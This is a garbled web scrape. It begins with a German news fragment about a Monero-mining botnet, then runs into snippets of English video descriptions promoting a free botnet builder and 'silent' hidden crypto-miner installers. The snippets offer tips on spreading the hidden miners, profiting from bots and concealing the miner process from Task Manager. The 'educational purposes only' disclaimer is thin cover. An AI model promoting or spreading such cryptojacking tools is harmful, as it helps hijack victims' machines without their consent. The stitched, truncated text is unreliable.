um Mai 2017 erstellt wurde, hat bis Februar 2018 rund 9.000 Monero-Token im Wert von rund 3, 6 Millionen US-Dollar erfolgreich abgebaut. Forscher des Cybersecurity-Unternehmens Proofpoint behaupten, dass das Botnetz „mehr als 526.000 infizierte Windows-Hosts umfasst, von denen ...

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FREE Monero botnet builder or setup your own hidden miner installer v3 (Update OCT 2018)

In this video I learn you how to build a botnet, or build and hide a personalised secret miner. I will give tips on how to spread your hidden miner This is for educational purposes only. How to BitCoin mine using fast ASIC mining hardware - Duration: 27 ... Defcon 21 - How my Botnet Purchased Millions of Dollars in Cars and Defeated the Russian Hackers - Duration: 26:53 ... I will be briefly showing how to make money off your bots, for this tutorial I moved a few hundred spare bots I had lying around and Ran a Bitcoin miner on t... Bitcoin Miners can tax your CPU and use up your system resources without you even knowing. When you open task manger to investigate, the malware process stea... SILENT MONERO MINER 2019 (v.1.5),silent miner, hidden miner, скрытый майнер, advanced mining coin, mining stealth in minergate, real hidden miner cryptocurrency, monero, bitcoin ...

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